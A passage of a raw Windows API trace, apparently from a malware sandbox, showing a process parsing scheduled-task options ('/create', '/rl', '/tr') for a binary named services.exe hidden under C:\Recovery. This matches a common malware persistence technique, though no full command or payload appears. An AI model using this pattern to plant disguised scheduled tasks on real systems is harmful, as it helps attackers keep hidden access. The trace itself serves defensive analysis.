(lpString="|tr|") returned 4 [0060.534] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0060.534] SetLastError (dwErrCode=0x0) [0060.534] SetLastError (dwErrCode=0x0) [0060.534] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.534] lstrlenW (lpString="-/") returned 2 [0060.534] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.534] SetLastError (dwErrCode=0x490) [0060.534] SetLastError (dwErrCode=0x490) [0060.534] SetLastError (dwErrCode=0x0) [0060.534] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.534] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0060.535] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.535] _memicmp (_Buf1=0x21c4b0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.535] _memicmp (_Buf1=0x21d680, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.535] SetLastError (dwErrCode=0x7a) [0060.535] SetLastError (dwErrCode=0x0) [0060.535] SetLastError (dwErrCode=0x0) [0060.535] lstrlenW (lpString="'C") returned 2 [0060.535] lstrlenW (lpString="-/") returned 2 [0060.535] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0060.535] SetLastError (dwErrCode=0x490) [0060.535] SetLastError (dwErrCode=0x490) [0060.535] SetLastError (dwErrCode=0x0) [0060.535] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.535] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.535] GetProcessHeap () returned 0x200000 [0060.535] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700) returned 1 [0060.535] GetProcessHeap () returned 0x200000 [0060.535] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21d700, Size=0x80) returned 0x21c3f0 [0060.535] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.535] lstrlenW (lpString=" \x09") returned 2 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0060.535] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.536] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0060.537] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0060.538] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0060.538] GetLastError () returned 0x0 [0060.538] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.538] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0060.538] SetLastError (dwErrCode=0x0) [0060.539] SetLastError (dwErrCode=0x0) [0060.539] lstrlenW (lpString="/rl") returned 3 [0060.539] lstrlenW (lpString="-/") returned 2 [0060.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.539] lstrlenW (lpString="create") returned 6 [0060.539] lstrlenW (lpString="create") returned 6 [0060.539] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.539] lstrlenW (lpString="rl") returned 2 [0060.539] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.539] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.539] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.539] lstrlenW (lpString="|create|") returned 8 [0060.539] lstrlenW (lpString="|rl|") returned 4 [0060.539] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0060.539] SetLastError (dwErrCode=0x490) [0060.539] lstrlenW (lpString="?") returned 1 [0060.539] lstrlenW (lpString="?") returned 1 [0060.539] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.539] lstrlenW (lpString="rl") returned 2 [0060.539] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.539] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.539] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.539] lstrlenW (lpString="|?|") returned 3 [0060.539] lstrlenW (lpString="|rl|") returned 4 [0060.539] SetLastError (dwErrCode=0x490) [0060.539] lstrlenW (lpString="s") returned 1 [0060.539] lstrlenW (lpString="s") returned 1 [0060.539] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.539] lstrlenW (lpString="rl") returned 2 [0060.539] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.540] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.540] lstrlenW (lpString="|s|") returned 3 [0060.540] lstrlenW (lpString="|rl|") returned 4 [0060.540] SetLastError (dwErrCode=0x490) [0060.540] lstrlenW (lpString="u") returned 1 [0060.540] lstrlenW (lpString="u") returned 1 [0060.540] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] lstrlenW (lpString="rl") returned 2 [0060.540] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.540] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.540] lstrlenW (lpString="|u|") returned 3 [0060.540] lstrlenW (lpString="|rl|") returned 4 [0060.540] SetLastError (dwErrCode=0x490) [0060.540] lstrlenW (lpString="p") returned 1 [0060.540] lstrlenW (lpString="p") returned 1 [0060.540] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] lstrlenW (lpString="rl") returned 2 [0060.540] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.540] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.540] lstrlenW (lpString="|p|") returned 3 [0060.540] lstrlenW (lpString="|rl|") returned 4 [0060.540] SetLastError (dwErrCode=0x490) [0060.540] lstrlenW (lpString="ru") returned 2 [0060.540] lstrlenW (lpString="ru") returned 2 [0060.540] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] lstrlenW (lpString="rl") returned 2 [0060.540] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.540] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.541] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.541] lstrlenW (lpString="|ru|") returned 4 [0060.541] lstrlenW (lpString="|rl|") returned 4 [0060.541] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0060.541] SetLastError (dwErrCode=0x490) [0060.541] lstrlenW (lpString="rp") returned 2 [0060.541] lstrlenW (lpString="rp") returned 2 [0060.541] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.541] lstrlenW (lpString="rl") returned 2 [0060.541] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.541] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.541] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.541] lstrlenW (lpString="|rp|") returned 4 [0060.541] lstrlenW (lpString="|rl|") returned 4 [0060.541] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0060.541] SetLastError (dwErrCode=0x490) [0060.541] lstrlenW (lpString="sc") returned 2 [0060.541] lstrlenW (lpString="sc") returned 2 [0060.541] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.541] lstrlenW (lpString="rl") returned 2 [0060.541] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.541] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.541] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.541] lstrlenW (lpString="|sc|") returned 4 [0060.541] lstrlenW (lpString="|rl|") returned 4 [0060.541] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0060.541] SetLastError (dwErrCode=0x490) [0060.541] lstrlenW (lpString="mo") returned 2 [0060.541] lstrlenW (lpString="mo") returned 2 [0060.541] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] lstrlenW (lpString="rl") returned 2 [0060.542] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.542] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.542] lstrlenW (lpString="|mo|") returned 4 [0060.542] lstrlenW (lpString="|rl|") returned 4 [0060.542] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0060.542] SetLastError (dwErrCode=0x490) [0060.542] lstrlenW (lpString="d") returned 1 [0060.542] lstrlenW (lpString="d") returned 1 [0060.542] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] lstrlenW (lpString="rl") returned 2 [0060.542] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|d|") returned 3 [0060.542] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.542] lstrlenW (lpString="|d|") returned 3 [0060.542] lstrlenW (lpString="|rl|") returned 4 [0060.542] SetLastError (dwErrCode=0x490) [0060.542] lstrlenW (lpString="m") returned 1 [0060.542] lstrlenW (lpString="m") returned 1 [0060.542] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] lstrlenW (lpString="rl") returned 2 [0060.542] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.542] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|m|") returned 3 [0060.542] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.542] lstrlenW (lpString="|m|") returned 3 [0060.542] lstrlenW (lpString="|rl|") returned 4 [0060.542] SetLastError (dwErrCode=0x490) [0060.542] lstrlenW (lpString="i") returned 1 [0060.542] lstrlenW (lpString="i") returned 1 [0060.543] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] lstrlenW (lpString="rl") returned 2 [0060.543] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|i|") returned 3 [0060.543] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.543] lstrlenW (lpString="|i|") returned 3 [0060.543] lstrlenW (lpString="|rl|") returned 4 [0060.543] SetLastError (dwErrCode=0x490) [0060.543] lstrlenW (lpString="tn") returned 2 [0060.543] lstrlenW (lpString="tn") returned 2 [0060.543] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] lstrlenW (lpString="rl") returned 2 [0060.543] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.543] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.543] lstrlenW (lpString="|tn|") returned 4 [0060.543] lstrlenW (lpString="|rl|") returned 4 [0060.543] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0060.543] SetLastError (dwErrCode=0x490) [0060.543] lstrlenW (lpString="tr") returned 2 [0060.543] lstrlenW (lpString="tr") returned 2 [0060.543] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] lstrlenW (lpString="rl") returned 2 [0060.543] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.543] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.543] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.543] lstrlenW (lpString="|tr|") returned 4 [0060.543] lstrlenW (lpString="|rl|") returned 4 [0060.543] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0060.543] SetLastError (dwErrCode=0x490) [0060.543] lstrlenW (lpString="st") returned 2 [0060.544] lstrlenW (lpString="st") returned 2 [0060.544] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] lstrlenW (lpString="rl") returned 2 [0060.544] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|st|") returned 4 [0060.544] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.544] lstrlenW (lpString="|st|") returned 4 [0060.544] lstrlenW (lpString="|rl|") returned 4 [0060.544] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0060.544] SetLastError (dwErrCode=0x490) [0060.544] lstrlenW (lpString="sd") returned 2 [0060.544] lstrlenW (lpString="sd") returned 2 [0060.544] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] lstrlenW (lpString="rl") returned 2 [0060.544] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sd|") returned 4 [0060.544] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.544] lstrlenW (lpString="|sd|") returned 4 [0060.544] lstrlenW (lpString="|rl|") returned 4 [0060.544] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0060.544] SetLastError (dwErrCode=0x490) [0060.544] lstrlenW (lpString="ed") returned 2 [0060.544] lstrlenW (lpString="ed") returned 2 [0060.544] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] lstrlenW (lpString="rl") returned 2 [0060.544] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.544] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ed|") returned 4 [0060.544] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.544] lstrlenW (lpString="|ed|") returned 4 [0060.544] lstrlenW (lpString="|rl|") returned 4 [0060.544] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0060.544] SetLastError (dwErrCode=0x490) [0060.545] lstrlenW (lpString="it") returned 2 [0060.545] lstrlenW (lpString="it") returned 2 [0060.545] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] lstrlenW (lpString="rl") returned 2 [0060.545] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|it|") returned 4 [0060.545] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.545] lstrlenW (lpString="|it|") returned 4 [0060.545] lstrlenW (lpString="|rl|") returned 4 [0060.545] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0060.545] SetLastError (dwErrCode=0x490) [0060.545] lstrlenW (lpString="et") returned 2 [0060.545] lstrlenW (lpString="et") returned 2 [0060.545] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] lstrlenW (lpString="rl") returned 2 [0060.545] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|et|") returned 4 [0060.545] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.545] lstrlenW (lpString="|et|") returned 4 [0060.545] lstrlenW (lpString="|rl|") returned 4 [0060.545] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0060.545] SetLastError (dwErrCode=0x490) [0060.545] lstrlenW (lpString="k") returned 1 [0060.545] lstrlenW (lpString="k") returned 1 [0060.545] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] lstrlenW (lpString="rl") returned 2 [0060.545] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.545] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|k|") returned 3 [0060.545] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.546] lstrlenW (lpString="|k|") returned 3 [0060.546] lstrlenW (lpString="|rl|") returned 4 [0060.546] SetLastError (dwErrCode=0x490) [0060.546] lstrlenW (lpString="du") returned 2 [0060.546] lstrlenW (lpString="du") returned 2 [0060.546] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.546] lstrlenW (lpString="rl") returned 2 [0060.546] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.546] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|du|") returned 4 [0060.546] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.546] lstrlenW (lpString="|du|") returned 4 [0060.546] lstrlenW (lpString="|rl|") returned 4 [0060.546] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0060.546] SetLastError (dwErrCode=0x490) [0060.546] lstrlenW (lpString="ri") returned 2 [0060.546] lstrlenW (lpString="ri") returned 2 [0060.546] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.546] lstrlenW (lpString="rl") returned 2 [0060.546] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.546] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ri|") returned 4 [0060.546] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.546] lstrlenW (lpString="|ri|") returned 4 [0060.546] lstrlenW (lpString="|rl|") returned 4 [0060.546] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0060.546] SetLastError (dwErrCode=0x490) [0060.546] lstrlenW (lpString="z") returned 1 [0060.546] lstrlenW (lpString="z") returned 1 [0060.546] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.546] lstrlenW (lpString="rl") returned 2 [0060.547] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.547] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|z|") returned 3 [0060.547] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.547] lstrlenW (lpString="|z|") returned 3 [0060.547] lstrlenW (lpString="|rl|") returned 4 [0060.547] SetLastError (dwErrCode=0x490) [0060.547] lstrlenW (lpString="f") returned 1 [0060.547] lstrlenW (lpString="f") returned 1 [0060.547] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.547] lstrlenW (lpString="rl") returned 2 [0060.547] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.547] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.547] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.547] lstrlenW (lpString="|f|") returned 3 [0060.547] lstrlenW (lpString="|rl|") returned 4 [0060.547] SetLastError (dwErrCode=0x490) [0060.547] lstrlenW (lpString="v1") returned 2 [0060.547] lstrlenW (lpString="v1") returned 2 [0060.547] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.547] lstrlenW (lpString="rl") returned 2 [0060.547] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.547] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|v1|") returned 4 [0060.547] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.547] lstrlenW (lpString="|v1|") returned 4 [0060.547] lstrlenW (lpString="|rl|") returned 4 [0060.547] 